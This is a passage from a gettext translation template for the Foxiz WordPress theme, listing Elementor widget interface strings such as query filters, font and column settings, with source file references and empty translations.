elementor/banner.php:182 elementor/breaking-news.php:302 elementor/categories-1.php:199 #: elementor/categories-2.php:180 elementor/categories-3.php:190 #: elementor/categories-4.php:170 elementor/categories-5.php:180 elementor/classic-1.php:602 #: elementor/covid-data.php:137 elementor/grid-1.php:639 elementor/grid-2.php:638 #: elementor/grid-box-1.php:638 elementor/grid-box-2.php:638 elementor/grid-small-1.php:647 #: elementor/heading.php:300 elementor/hierarchical-1.php:522 elementor/hierarchical-2.php:476 #: elementor/hierarchical-3.php:481 elementor/list-1.php:636 elementor/list-2.php:620 #: elementor/list-box-1.php:635 elementor/list-box-2.php:635 elementor/list-small-1.php:486 #: elementor/list-small-2.php:554 elementor/list-small-3.php:526 #: elementor/newsletter-1.php:186 elementor/newsletter-2.php:195 #: elementor/newsletter-3.php:177 elementor/overlay-1.php:491 elementor/overlay-2.php:595 #: elementor/plan.php:326 elementor/quick-links.php:141 elementor/social-follower.php:283 #: elementor/videos.php:141 elementor/weather.php:142 msgid "Custom Font" msgstr "" #: elementor/banner.php:197 elementor/newsletter-1.php:201 elementor/newsletter-2.php:210 #: elementor/newsletter-3.php:192 elementor/weather.php:149 msgid "Title Font" msgstr "" #: elementor/banner.php:205 elementor/categories-3.php:221 elementor/newsletter-1.php:209 #: elementor/newsletter-2.php:218 elementor/newsletter-3.php:200 elementor/plan.php:349 #: elementor/social-follower.php:306 msgid "Description Font" msgstr "" #: elementor/base.php:52 msgid "Foxiz Blocks" msgstr "" #: elementor/base.php:59 msgid "Foxiz Header" msgstr "" #: elementor/breaking-news.php:26 msgid "Foxiz - Breaking News" msgstr "" #: elementor/breaking-news.php:43 elementor/classic-1.php:39 elementor/grid-1.php:39 #: elementor/grid-2.php:38 elementor/grid-box-1.php:38 elementor/grid-box-2.php:38 #: elementor/grid-small-1.php:39 elementor/hierarchical-1.php:42 #: elementor/hierarchical-2.php:43 elementor/hierarchical-3.php:43 elementor/list-1.php:44 #: elementor/list-2.php:38 elementor/list-box-1.php:44 elementor/list-box-2.php:44 #: elementor/list-small-1.php:43 elementor/list-small-2.php:43 elementor/list-small-3.php:43 #: elementor/overlay-1.php:43 elementor/overlay-2.php:43 msgid "Query Settings" msgstr "" #: elementor/breaking-news.php:67 elementor/breaking-news.php:78 elementor/classic-1.php:64 #: elementor/classic-1.php:75 elementor/grid-1.php:64 elementor/grid-1.php:75 #: elementor/grid-2.php:63 elementor/grid-2.php:74 elementor/grid-box-1.php:63 #: elementor/grid-box-1.php:74 elementor/grid-box-2.php:63 elementor/grid-box-2.php:74 #: elementor/grid-small-1.php:63 elementor/grid-small-1.php:74 elementor/hierarchical-1.php:66 #: elementor/hierarchical-1.php:77 elementor/hierarchical-2.php:67 #: elementor/hierarchical-2.php:78 elementor/hierarchical-3.php:68 #: elementor/hierarchical-3.php:79 elementor/list-1.php:69 elementor/list-1.php:80 #: elementor/list-2.php:62 elementor/list-2.php:73 elementor/list-box-1.php:69 #: elementor/list-box-1.php:80 elementor/list-box-2.php:69 elementor/list-box-2.php:80 #: elementor/list-small-1.php:67 elementor/list-small-1.php:78 elementor/list-small-2.php:67 #: elementor/list-small-2.php:78 elementor/list-small-3.php:67 elementor/list-small-3.php:78 #: elementor/overlay-1.php:67 elementor/overlay-1.php:78 elementor/overlay-2.php:67 #: elementor/overlay-2.php:78 widgets/sb-post.php:62 msgid "Category Filter" msgstr "" #: elementor/breaking-news.php:90 elementor/classic-1.php:87 elementor/grid-1.php:87 #: elementor/grid-2.php:86 elementor/grid-box-1.php:86 elementor/grid-box-2.php:86 #: elementor/grid-small-1.php:86 elementor/hierarchical-1.php:88 #: elementor/hierarchical-2.php:90 elementor/hierarchical-3.php:91 elementor/list-1.php:92 #: elementor/list-2.php:85 elementor/list-box-1.php:92 elementor/list-box-2.php:92 #: elementor/list-small-1.php:90 elementor/list-small-2.php:90 elementor/list-small-3.php:90 #: elementor/overlay-1.php:90 elementor/overlay-2.php:90 widgets/sb-post.php:70 msgid "Categories Filter" msgstr "" #: elementor/breaking-news.php:99 elementor/classic-1.php:96 elementor/grid-1.php:96 #: elementor/grid-2.php:95 elementor/grid-box-1.php:95 elementor/grid-box-2.php:95 #: elementor/grid-small-1.php:95 elementor/hierarchical-1.php:97 #: elementor/hierarchical-2.php:99 elementor/hierarchical-3.php:100 elementor/list-1.php:101 #: elementor/list-2.php:94 elementor/list-box-1.php:101 elementor/list-box-2.php:101 #: elementor/list-small-1.php:99 elementor/list-small-2.php:99 elementor/list-small-3.php:99 #: elementor/overlay-1.php:99 elementor/overlay-2.php:99 widgets/sb-post.php:77 msgid "Tags Slug Filter" msgstr "" #: elementor/breaking-news.php:108 elementor/classic-1.php:105 elementor/grid-1.php:105 #: elementor/grid-2.php:104 elementor/grid-box-1.php:104 elementor/grid-box-2.php:104 #: elementor/grid-small-1.php:104 elementor/hierarchical-1.php:106 #: elementor/hierarchical-2.php:108 elementor/hierarchical-3.php:109 elementor/list-1.php:110 #: elementor/list-2.php:103 elementor/list-box-1.php:110 elementor/list-box-2.php:110 #: elementor/list-small-1.php:108 elementor/list-small-2.php:108 #: elementor/list-small-3.php:108 elementor/overlay-1.php:108 elementor/overlay-2.php:108 #: widgets/sb-post.php:84 msgid "Exclude Tags Slug" msgstr "" #: elementor/breaking-news.php:117 elementor/classic-1.php:114 elementor/grid-1.php:114 #: elementor/grid-2.php:113 elementor/grid-box-1.php:113 elementor/grid-box-2.php:113 #: elementor/grid-small-1.php:113 elementor/hierarchical-1.php:115 #: elementor/hierarchical-2.php:117 elementor/hierarchical-3.php:118 elementor/list-1.php:119 #: elementor/list-2.php:112 elementor/list-box-1.php:119 elementor/list-box-2.php:119 #: elementor/list-small-1.php:117 elementor/list-small-2.php:117 #: elementor/list-small-3.php:117 elementor/overlay-1.php:117 elementor/overlay-2.php:117 #: widgets/sb-post.php:91 msgid "Post Format" msgstr "" #: elementor/breaking-news.php:127 elementor/classic-1.php:124 elementor/grid-1.php:124 #: elementor/grid-2.php:123 elementor/grid-box-1.php:123 elementor/grid-box-2.php:123 #: elementor/grid-small-1.php:123 elementor/hierarchical-1.php:125 #: elementor/hierarchical-2.php:127 elementor/hierarchical-3.php:128 elementor/list-1.php:129 #: elementor/list-2.php:122 elementor/list-box-1.php:129 elementor/list-box-2.php:129 #: elementor/list-small-1.php:127 elementor/list-small-2.php:127 #: elementor/list-small-3.php:127 elementor/overlay-1.php:127 elementor/overlay-2.php:127 msgid "Author Filter" msgstr "" #: elementor/breaking-news.php:137 elementor/classic-1.php:134 elementor/grid-1.php:134 #: elementor/grid-2.php:133 elementor/grid-box-1.php:133 elementor/grid-box-2.php:133 #: elementor/grid-small-1.php:133 elementor/hierarchical-1.php:135 #: elementor/hierarchical-2.php:137 elementor/hierarchical-3.php:138 elementor/list-1.php:139 #: elementor/list-2.php:132 elementor/list-box-1.php:139 elementor/list-box-2.php:139 #: elementor/list-small-1.php:137 elementor/list-small-2.php:137 #: elementor/list-small-3.php:137 elementor/overlay-1.php:137 elementor/overlay-2.php:137 #: widgets/sb-post.php:105 msgid "Exclude Post IDs" msgstr "" #: elementor/breaking-news.php:146 elementor/classic-1.php:143 elementor/grid-1.php:143 #: elementor/grid-2.php:142 elementor/grid-box-1.php:142 elementor/grid-box-2.php:142 #: elementor/grid-small-1.php:142 elementor/hierarchical-1.php:144 #: elementor/hierarchical-2.php:146 elementor/hierarchical-3.php:147 elementor/list-1.php:148 #: elementor/list-2.php:141 elementor/list-box-1.php:148 elementor/list-box-2.php:148 #: elementor/list-small-1.php:146 elementor/list-small-2.php:146 #: elementor/list-small-3.php:146 elementor/overlay-1.php:146 elementor/overlay-2.php:146 #: widgets/sb-post.php:112 msgid "Post IDs Filter" msgstr "" #: elementor/breaking-news.php:155 elementor/classic-1.php:152 elementor/grid-1.php:152 #: elementor/grid-2.php:151 elementor/grid-box-1.php:151 elementor/grid-box-2.php:151 #: elementor/grid-small-1.php:151 elementor/hierarchical-1.php:153 #: elementor/hierarchical-2.php:155 elementor/hierarchical-3.php:156 elementor/list-1.php:157 #: elementor/list-2.php:150 elementor/list-box-1.php:157 elementor/list-box-2.php:157 #: elementor/list-small-1.php:155 elementor/list-small-2.php:155 #: elementor/list-small-3.php:155 elementor/overlay-1.php:155 elementor/overlay-2.php:155 msgid "Sort Order" msgstr "" #: elementor/breaking-news.php:165 elementor/classic-1.php:162 elementor/grid-1.php:162 #: elementor/grid-2.php:161 elementor/grid-box-1.php:161 elementor/grid-box-2.php:161 #: elementor/grid-small-1.php:161 elementor/hierarchical-1.php:163 #: elementor/hierarchical-2.php:165 elementor/hierarchical-3.php:166 elementor/list-1.php:167 #: elementor/list-2.php:160 elementor/list-box-1.php:167 elementor/list-box-2.php:167 #: elementor/list-small-1.php:165 elementor/list-small-2.php:165 #: elementor/list-small-3.php:165 elementor/overlay-1.php:165 elementor/overlay-2.php:165 msgid "Number of Posts" msgstr "" #: elementor/breaking-news.php:174 elementor/classic-1.php:171 elementor/grid-1.php:171 #: elementor/grid-2.php:170 elementor/grid-box-1.php:170 elementor/grid-box-2.php:170 #: elementor/grid-small-1.php:170 elementor/hierarchical-1.php:172 #: elementor/hierarchical-2.php:174 elementor/hierarchical-3.php:175 elementor/list-1.php:176 #: elementor/list-2.php:169 elementor/list-box-1.php:176 elementor/list-box-2.php:176 #: elementor/list-small-1.php:174 elementor/list-small-2.php:174 #: elementor/list-small-3.php:174 elementor/overlay-1.php:174 elementor/overlay-2.php:174 #: widgets/sb-post.php:148 msgid "Post Offset" msgstr "" #: elementor/breaking-news.php:183 elementor/breaking-news.php:190 elementor/classic-1.php:285 #: elementor/classic-1.php:292 elementor/grid-1.php:285 elementor/grid-1.php:292 #: elementor/grid-2.php:284 elementor/grid-2.php:291 elementor/grid-box-1.php:284 #: elementor/grid-box-1.php:291 elementor/grid-box-2.php:284 elementor/grid-box-2.php:291 #: elementor/grid-small-1.php:284 elementor/grid-small-1.php:291 #: elementor/hierarchical-1.php:198 elementor/hierarchical-1.php:205 #: elementor/hierarchical-2.php:200 elementor/hierarchical-2.php:207 #: elementor/hierarchical-3.php:184 elementor/hierarchical-3.php:191 elementor/list-1.php:290 #: elementor/list-1.php:297 elementor/list-2.php:283 elementor/list-2.php:290 #: elementor/list-box-1.php:290 elementor/list-box-1.php:297 elementor/list-box-2.php:290 #: elementor/list-box-2.php:297 elementor/list-small-1.php:200 elementor/list-small-1.php:207 #: elementor/list-small-2.php:200 elementor/list-small-2.php:207 #: elementor/list-small-3.php:200 elementor/list-small-3.php:207 elementor/overlay-1.php:183 #: elementor/overlay-1.php:190 elementor/overlay-2.php:288 elementor/overlay-2.php:295 msgid "Unique Post" msgstr "" #: elementor/breaking-news.php:200 elementor/newsletter-1.php:57 elementor/newsletter-2.php:57 #: elementor/newsletter-3.php:58 msgid "Heading" msgstr "" #: elementor/breaking-news.php:208 msgid "This layout is best suited for all sections." msgstr "" #: elementor/breaking-news.php:214 elementor/quick-links.php:54 msgid "Heading Label" msgstr "" #: elementor/breaking-news.php:216 msgid "input a heading label for this block." msgstr "" #: elementor/breaking-news.php:217 msgid "Hot News" msgstr "" #: elementor/breaking-news.php:223 elementor/classic-1.php:460 elementor/grid-1.php:460 #: elementor/grid-2.php:459 elementor/grid-box-1.php:459 elementor/grid-box-2.php:459 #: elementor/grid-small-1.php:468 elementor/hierarchical-1.php:371 #: elementor/hierarchical-2.php:343 elementor/hierarchical-3.php:358 elementor/list-1.php:494 #: elementor/list-2.php:478 elementor/list-box-1.php:493 elementor/list-box-2.php:493 #: elementor/list-small-1.php:325 elementor/list-small-2.php:375 #: elementor/list-small-3.php:365 elementor/overlay-1.php:340 elementor/overlay-2.php:444 #: elementor/social-follower.php:245 msgid "Custom Font Size" msgstr "" #: elementor/breaking-news.php:229 msgid "Post Title Font Size" msgstr "" #: elementor/breaking-news.php:238 msgid "Label Size" msgstr "" #: elementor/breaking-news.php:240 msgid "Input a custom font size for the label" msgstr "" #: elementor/breaking-news.php:248 msgid "Slider Settings" msgstr "" #: elementor/breaking-news.php:255 elementor/grid-1.php:909 elementor/grid-2.php:907 #: elementor/grid-box-1.php:951 elementor/grid-box-2.php:951 elementor/grid-small-1.php:916 #: elementor/list-small-2.php:832 elementor/list-small-3.php:787 elementor/overlay-1.php:705 #: elementor/overlay-2.php:848 msgid "Auto Play Next Slides" msgstr "" #: elementor/breaking-news.php:265 elementor/grid-1.php:919 elementor/grid-2.php:917 #: elementor/grid-box-1.php:961 elementor/grid-box-2.php:961 elementor/grid-small-1.php:926 #: elementor/list-small-2.php:842 elementor/list-small-3.php:797 elementor/overlay-1.php:715 #: elementor/overlay-2.php:858 msgid "Auto Play Speed" msgstr "" #: elementor/breaking-news.php:317 elementor/classic-1.php:617 elementor/grid-1.php:654 #: elementor/grid-2.php:653 elementor/grid-box-1.php:653 elementor/grid-box-2.php:653 #: elementor/grid-small-1.php:662 elementor/hierarchical-1.php:537 #: elementor/hierarchical-2.php:491 elementor/hierarchical-3.php:496 elementor/list-1.php:651 #: elementor/list-2.php:635 elementor/list-box-1.php:650 elementor/list-box-2.php:650 #: elementor/list-small-1.php:501 elementor/list-small-2.php:569 #: elementor/list-small-3.php:541 elementor/overlay-1.php:506 elementor/overlay-2.php:610 msgid "Post Title Font" msgstr "" #: elementor/breaking-news.php:325 msgid "Heading Label Font" msgstr "" #: elementor/categories-1.php:27 msgid "Foxiz - Category List 1" msgstr "" #: elementor/categories-1.php:44 elementor/categories-2.php:44 elementor/categories-3.php:44 #: elementor/categories-4.php:44 elementor/categories-5.php:44 msgid "Categories" msgstr "" #: elementor/categories-1.php:52 elementor/categories-2.php:52 elementor/categories-3.php:52 #: elementor/categories-4.php:52 elementor/categories-5.php:52 msgid "" "To set featured images for each category, navigate to \"Posts > Categories > Edit > " "Featured Images\"." msgstr "" #: elementor/categories-1.php:60 elementor/categories-2.php:60 elementor/categories-3.php:60 #: elementor/categories-4.php:60 elementor/categories-5.php:60 msgid "Select a Category" msgstr "" #: elementor/categories-1.php:62 elementor/categories-2.php:62 elementor/categories-3.php:62 #: elementor/categories-4.php:62 elementor/categories-5.php:62 msgid "- Select a category -" msgstr "" #: elementor/categories-1.php:69 elementor/categories-2.php:69 elementor/categories-3.php:69 #: elementor/categories-4.php:69 elementor/categories-5.php:69 msgid "Add Categories" msgstr "" #: elementor/categories-1.php:86 elementor/categories-2.php:86 elementor/categories-3.php:86 #: elementor/categories-4.php:86 elementor/categories-5.php:86 elementor/classic-1.php:302 #: elementor/covid-data.php:71 elementor/grid-1.php:302 elementor/grid-2.php:301 #: elementor/grid-box-1.php:301 elementor/grid-box-2.php:301 elementor/grid-small-1.php:301 #: elementor/hierarchical-1.php:215 elementor/hierarchical-2.php:217 #: elementor/hierarchical-3.php:201 elementor/list-1.php:307 elementor/list-2.php:300 #: elementor/list-box-1.php:307 elementor/list-box-2.php:307 elementor/list-small-1.php:217 #: elementor/list-small-2.php:217 elementor/list-small-3.php:217 #: elementor/newsletter-1.php:103 elementor/newsletter-2.php:103 #: elementor/newsletter-3.php:104 elementor/overlay-1.php:201 elementor/overlay-2.php:305 #: elementor/videos.php:116 msgid "Block Design" msgstr "" #: elementor/categories-1.php:93 elementor/categories-2.php:93 elementor/categories-3.php:93 #: elementor/categories-4.php:93 elementor/categories-5.php:93 elementor/classic-1.php:309 #: elementor/grid-1.php:309 elementor/grid-2.php:308 elementor/grid-box-1.php:308 #: elementor/grid-box-2.php:308 elementor/grid-small-1.php:308 #: elementor/hierarchical-1.php:230 elementor/hierarchical-3.php:216 elementor/list-1.php:322 #: elementor/list-2.php:307 elementor/list-box-1.php:322 elementor/list-box-2.php:322 #: elementor/list-small-2.php:224 elementor/list-small-3.php:224 elementor/overlay-1.php:208 #: elementor/overlay-2.php:312 msgid "Featured Image Size" msgstr "" #: elementor/categories-1.php:102 elementor/categories-2.php:102 #: elementor/categories-3.php:102 elementor/categories-4.php:102 elementor/classic-1.php:318 #: elementor/grid-1.php:318 elementor/grid-2.php:317 elementor/grid-box-1.php:317 #: elementor/grid-box-2.php:317 elementor/grid-small-1.php:317 #: elementor/hierarchical-1.php:239 elementor/hierarchical-3.php:225 elementor/list-1.php:331 #: elementor/list-2.php:316 elementor/list-box-1.php:331 elementor/list-box-2.php:331 #: elementor/list-small-2.php:233 elementor/overlay-1.php:217 elementor/overlay-2.php:321 msgid "Custom Featured Ratio" msgstr "" #: elementor/categories-1.php:113 elementor/categories-2.php:113 #: elementor/categories-3.php:113 elementor/categories-4.php:113 #: elementor/categories-5.php:112 elementor/classic-1.php:450 elementor/grid-1.php:450 #: elementor/grid-2.php:449 elementor/grid-box-1.php:449 elementor/grid-box-2.php:449 #: elementor/grid-small-1.php:458 elementor/hierarchical-1.php:351 #: elementor/hierarchical-2.php:323 elementor/hierarchical-3.php:338 elementor/list-1.php:483 #: elementor/list-2.php:468 elementor/list-box-1.php:483 elementor/list-box-2.php:483 #: elementor/list-small-1.php:315 elementor/list-small-2.php:365 #: elementor/list-small-3.php:355 elementor/newsletter-1.php:128 #: elementor/newsletter-2.php:137 elementor/newsletter-3.php:111 elementor/overlay-1.php:330 #: elementor/overlay-2.php:434 msgid "Title HTML Tag" msgstr "" #: elementor/categories-1.php:132 elementor/categories-2.php:132 #: elementor/categories-3.php:142 elementor/categories-4.php:132 #: elementor/categories-5.php:131 msgid "Count Posts" msgstr "" #: elementor/categories-1.php:134 elementor/categories-2.php:134 #: elementor/categories-3.php:144 elementor/categories-4.php:134 #: elementor/categories-5.php:133 msgid "Enable or disable total posts information of each category." msgstr "" #: elementor/categories-1.php:142 elementor/categories-2.php:142 #: elementor/categories-3.php:152 elementor/categories-4.php:142 #: elementor/categories-5.php:141 msgid "Follow Button" msgstr "" #: elementor/categories-1.php:145 elementor/categories-2.php:145 #: elementor/categories-3.php:155 elementor/categories-4.php:145 #: elementor/categories-5.php:144 msgid "Enable or disable follow button." msgstr "" #: elementor/categories-1.php:152 elementor/categories-2.php:162 #: elementor/categories-3.php:172 elementor/categories-4.php:152 elementor/classic-1.php:556 #: elementor/grid-1.php:593 elementor/grid-2.php:592 elementor/grid-box-1.php:592 #: elementor/grid-box-2.php:592 elementor/grid-small-1.php:601 #: elementor/hierarchical-1.php:476 elementor/hierarchical-3.php:463 elementor/list-1.php:590 #: elementor/list-2.php:574 elementor/list-box-1.php:589 elementor/list-box-2.php:589 #: elementor/list-small-2.php:508 elementor/overlay-1.php:473 elementor/overlay-2.php:577 msgid "Rounded Corner" msgstr "" #: elementor/categories-1.php:159 elementor/categories-2.php:169 #: elementor/categories-3.php:179 elementor/categories-4.php:159 elementor/classic-1.php:563 #: elementor/grid-1.php:600 elementor/grid-2.php:599 elementor/grid-box-1.php:599 #: elementor/grid-box-2.php:599 elementor/grid-small-1.php:608 #: elementor/hierarchical-1.php:483 elementor/hierarchical-3.php:470 elementor/list-1.php:597 #: elementor/list-2.php:581 elementor/list-box-1.php:596 elementor/list-box-2.php:596 #: elementor/list-small-2.php:515 elementor/overlay-1.php:480 elementor/overlay-2.php:584 msgid "Border Radius" msgstr "" #: elementor/categories-1.php:214 elementor/categories-2.php:195 #: elementor/categories-3.php:205 elementor/categories-4.php:185 #: elementor/categories-5.php:195 msgid "Category Name Font" msgstr "" #: elementor/categories-1.php:222 elementor/categories-2.php:203 #: elementor/categories-3.php:213 elementor/categories-4.php:193 #: elementor/categories-5.php:203 msgid "Count Posts Font" msgstr "" #: elementor/categories-1.php:230 elementor/categories-2.php:211 #: elementor/categories-3.php:229 elementor/categories-4.php:201 #: elementor/categories-5.php:211 elementor/classic-1.php:633 elementor/grid-1.php:670 #: elementor/grid-2.php:669 elementor/grid-box-1.php:669 elementor/grid-box-2.php:669 #: elementor/grid-small-1.php:678 elementor/list-1.php:667 elementor/list-2.php:651 #: elementor/list-box-1.php:666 elementor/list-box-2.php:666 elementor/list-small-1.php:517 #: elementor/list-small-2.php:585 elementor/list-small-3.php:557 elementor/overlay-1.php:522 #: elementor/overlay-2.php:626 elementor/social-follower.php:315 msgid "Column Settings" msgstr "" #: elementor/categories-1.php:237 elementor/categories-2.php:218 #: elementor/categories-3.php:236 elementor/categories-4.php:208 #: elementor/categories-5.php:218 elementor/classic-1.php:648 elementor/grid-1.php:685 #: elementor/grid-2.php:684 elementor/grid-box-1.php:684 elementor/grid-box-2.php:684 #: elementor/grid-small-1.php:693 elementor/list-1.php:674 elementor/list-2.php:666 #: elementor/list-box-1.php:673 elementor/list-box-2.php:673 elementor/list-small-1.php:532 #: elementor/list-small-2.php:600 elementor/list-small-3.php:572 elementor/overlay-1.php:537 #: elementor/overlay-2.php:641 msgid "Columns on Desktop" msgstr "" #: elementor/categories-1.php:247 elementor/categories-2.php:228 #: elementor/categories-3.php:246 elementor/categories-4.php:218 #: elementor/categories-5.php:228 elementor/classic-1.php:658 elementor/grid-1.php:695 #: elementor/grid-2.php:694 elementor/grid-box-1.php:694 elementor/grid-box-2.php:694 #: elementor/grid-small-1.php:703 elementor/list-1.php:684 elementor/list-2.php:676 #: elementor/list-box-1.php:683 elementor/list-box-2.php:683 elementor/list-small-1.php:542 #: elementor/list-small-2.php:610 elementor/list-small-3.php:582 elementor/overlay-1.php:547 #: elementor/overlay-2.php:651 msgid "Columns on Tablet" msgstr "" #: elementor/categories-1.php:257 elementor/categories-2.php:238 #: elementor/categories-3.php:256 elementor/categories-4.php:228 #: elementor/categories-5.php:238 elementor/classic-1.php:668 elementor/grid-1.php:705 #: elementor/grid-2.php:704 elementor/grid-box-1.php:704 elementor/grid-box-2.php:704 #: elementor/grid-small-1.php:713 elementor/list-1.php:694 elementor/list-2.php:686 #: elementor/list-box-1.php:693 elementor/list-box-2.php:693 elementor/list-small-1.php:552 #: elementor/list-small-2.php:620 elementor/list-small-3.php:592 elementor/overlay-1.php:557 #: elementor/overlay-2.php:661 msgid "Columns on Mobile" msgstr "" #: elementor/categories-1.php:267 elementor/categories-2.php:248 #: elementor/categories-3.php:266 elementor/categories-4.php:238 #: elementor/categories-5.php:248 elementor/classic-1.php:678 elementor/grid-1.php:715 #: elementor/grid-2.php:714 elementor/grid-box-1.php:714 elementor/grid-box-2.php:714 #: elementor/grid-small-1.php:723 elementor/list-1.php:704 elementor/list-2.php:696 #: elementor/list-box-1.php:703 elementor/list-box-2.php:703 elementor/list-small-1.php:562 #: elementor/list-small-2.php:630 elementor/list-small-3.php:602 elementor/overlay-1.php:567 #: elementor/overlay-2.php:671 msgid "Columns Gap" msgstr "" #: elementor/categories-1.php:276 elementor/categories-2.php:257 #: elementor/categories-3.php:275 elementor/categories-4.php:247 #: elementor/categories-5.php:257 elementor/classic-1.php:687 elementor/grid-1.php:724 #: elementor/grid-2.php:723 elementor/grid-box-1.php:723 elementor/grid-box-2.php:723 #: elementor/grid-small-1.php:732 elementor/list-1.php:713 elementor/list-2.php:705 #: elementor/list-box-1.php:712 elementor/list-box-2.php:712 elementor/list-small-1.php:571 #: elementor/list-small-2.php:639 elementor/list-small-3.php:611 elementor/overlay-1.php:576 #: elementor/overlay-2.php:680 msgid "1/2 Custom Gap Value" msgstr "" #: elementor/categories-1.php:289 elementor/categories-2.php:270 #: elementor/categories-3.php:288 elementor/categories-4.php:260 #: elementor/categories-5.php:270 elementor/classic-1.php:749 elementor/grid-1.php:778 #: elementor/grid-2.php:776 elementor/grid-box-1.php:820 elementor/grid-box-2.php:776 #: elementor/grid-small-1.php:785 elementor/list-1.php:775 elementor/list-2.php:767 #: elementor/list-box-1.php:818 elementor/list-box-2.php:818 elementor/list-small-1.php:653 #: elementor/list-small-2.php:701 elementor/list-small-3.php:673 elementor/overlay-1.php:589 #: elementor/overlay-2.php:693 msgid "Column Border" msgstr "" #: elementor/categories-1.php:305 elementor/categories-2.php:286 #: elementor/categories-3.php:304 elementor/categories-4.php:276 #: elementor/categories-5.php:286 elementor/classic-1.php:715 elementor/grid-1.php:753 #: elementor/grid-2.php:751 elementor/grid-box-1.php:795 elementor/grid-box-2.php:751 #: elementor/grid-small-1.php:760 elementor/hierarchical-1.php:576 #: elementor/hierarchical-2.php:530 elementor/hierarchical-3.php:535 elementor/list-1.php:741 #: elementor/list-2.php:733 elementor/list-box-1.php:784 elementor/list-box-2.php:784 #: elementor/list-small-1.php:628 elementor/list-small-2.php:667 #: elementor/list-small-3.php:639 elementor/overlay-1.php:614 elementor/overlay-2.php:718 msgid "Custom Bottom Margin" msgstr "" #: elementor/categories-1.php:307 elementor/categories-2.php:288 #: elementor/categories-3.php:306 elementor/categories-4.php:278 #: elementor/categories-5.php:288 msgid "Input custom bottom margin values (px) between category items." msgstr "" #: elementor/categories-2.php:27 msgid "Foxiz - Category List 2" msgstr "" #: elementor/categories-2.php:152 elementor/categories-3.php:162 msgid "Colorful Gradient" msgstr "" #: elementor/categories-2.php:154 elementor/categories-3.php:164 msgid "Enable or disable overlay color gradient style for this block." msgstr "" #: elementor/categories-3.php:27 msgid "Foxiz - Category List 3" msgstr "" #: elementor/categories-3.php:132 msgid "Category Description" msgstr "" #: elementor/categories-3.php:135 msgid "Enable or disable the category description." msgstr "" #: elementor/categories-4.php:27 msgid "Foxiz - Category List 4" msgstr "" #: elementor/categories-5.php:27 msgid "Foxiz - Category List 5" msgstr "" #: elementor/categories-5.php:102 msgid "Max Featured Width" msgstr "" #: elementor/categories-5.php:104 msgid "Input a max width value for the featured image." msgstr "" #: elementor/classic-1.php:22 msgid "Foxiz - Classic (Standard)" msgstr "" #: elementor/classic-1.php:181 elementor/grid-1.php:181 elementor/grid-2.php:180 #: elementor/grid-box-1.php:180 elementor/grid-box-2.php:180 elementor/grid-small-1.php:180 #: elementor/list-1.php:186 elementor/list-2.php:179 elementor/list-box-1.php:186 #: elementor/list-box-2.php:186 elementor/overlay-2.php:184 msgid "Archive Builder - Global Query" msgstr "" #: elementor/classic-1.php:244 elementor/grid-1.php:244 elementor/grid-2.php:243 #: elementor/grid-box-1.php:243 elementor/grid-box-2.php:243 elementor/grid-small-1.php:243 #: elementor/list-1.php:249 elementor/list-2.php:242 elementor/list-box-1.php:249 #: elementor/list-box-2.php:249 elementor/overlay-2.php:247 msgid "Query Mode" msgstr "" #: elementor/classic-1.php:248 elementor/grid-1.php:248 elementor/grid-2.php:247 #: elementor/grid-box-1.php:247 elementor/grid-box-2.php:247 elementor/grid-small-1.php:247 #: elementor/list-1.php:253 elementor/list-2.php:246 elementor/list-box-1.php:253 #: elementor/list-box-2.php:253 elementor/overlay-2.php:251 msgid "Use Custom Query (default)" msgstr "" #: elementor/classic-1.php:249 elementor/grid-1.php:249 elementor/grid-2.php:248 #: elementor/grid-box-1.php:248 elementor/grid-box-2.php:248 elementor/grid-small-1.php:248 #: elementor/list-1.php:254 elementor/list-2.php:247 elementor/list-box-1.php:254 #: elementor/list-box-2.php:254 elementor/overlay-2.php:252 msgid "Use WP Global Query" msgstr "" #: elementor/classic-1.php:257 elementor/grid-1.php:257 elementor/grid-2.php:256 #: elementor/grid-box-1.php:256 elementor/grid-box-2.php:256 elementor/grid-small-1.php:256 #: elementor/list-1.php:262 elementor/list-2.php:255 elementor/list-box-1.php:262 #: elementor/list-box-2.php:262 elementor/overlay-2.php:260 msgid "WP Global Query Pagination" msgstr "" #: elementor/classic-1.php:268 elementor/grid-1.php:268 elementor/grid-2.php:267 #: elementor/grid-box-1.php:267 elementor/grid-box-2.php:267 elementor/grid-small-1.php:267 #: elementor/hierarchical-1.php:181 elementor/hierarchical-2.php:183 elementor/list-1.php:273 #: elementor/list-2.php:266 elementor/list-box-1.php:273 elementor/list-box-2.php:273 #: elementor/list-small-1.php:183 elementor/list-small-2.php:183 #: elementor/list-small-3.php:183 elementor/overlay-2.php:271 msgid "Ajax Pagination" msgstr "" #: elementor/classic-1.php:275 elementor/grid-1.php:275 elementor/grid-2.php:274 #: elementor/grid-box-1.php:274 elementor/grid-box-2.php:274 elementor/grid-small-1.php:274 #: elementor/hierarchical-1.php:188 elementor/hierarchical-2.php:190 elementor/list-1.php:280 #: elementor/list-2.php:273 elementor/list-box-1.php:280 elementor/list-box-2.php:280 #: elementor/list-small-1.php:190 elementor/list-small-2.php:190 #: elementor/list-small-3.php:190 elementor/overlay-2.php:278 msgid "Pagination Type" msgstr "" #: elementor/classic-1.php:329 elementor/grid-1.php:329 elementor/grid-2.php:328 #: elementor/grid-box-1.php:328 elementor/grid-box-2.php:328 elementor/grid-small-1.php:337 #: elementor/hierarchical-1.php:250 elementor/hierarchical-2.php:232 #: elementor/hierarchical-3.php:237 elementor/list-1.php:362 elementor/list-2.php:347 #: elementor/list-box-1.php:362 elementor/list-box-2.php:362 elementor/list-small-1.php:224 #: elementor/list-small-2.php:264 elementor/list-small-3.php:254 elementor/overlay-1.php:229 #: elementor/overlay-2.php:333 msgid "Entry Category" msgstr "" #: elementor/classic-1.php:339 elementor/grid-1.php:339 elementor/grid-2.php:338 #: elementor/grid-box-1.php:338 elementor/grid-box-2.php:338 elementor/grid-small-1.php:347 #: elementor/list-1.php:372 elementor/list-2.php:357 elementor/list-box-1.php:372 #: elementor/list-box-2.php:372 msgid "Entry Meta" msgstr "" #: elementor/classic-1.php:349 elementor/grid-1.php:349 elementor/grid-2.php:348 #: elementor/grid-box-1.php:348 elementor/grid-box-2.php:348 elementor/grid-small-1.php:357 #: elementor/hierarchical-1.php:260 elementor/hierarchical-2.php:242 #: elementor/hierarchical-3.php:247 elementor/list-1.php:382 elementor/list-2.php:367 #: elementor/list-box-1.php:382 elementor/list-box-2.php:382 elementor/list-small-1.php:234 #: elementor/list-small-2.php:274 elementor/list-small-3.php:264 elementor/overlay-1.php:239 #: elementor/overlay-2.php:343 widgets/sb-post.php:155 msgid "Entry Meta Tags" msgstr "" #: elementor/classic-1.php:361 elementor/grid-1.php:361 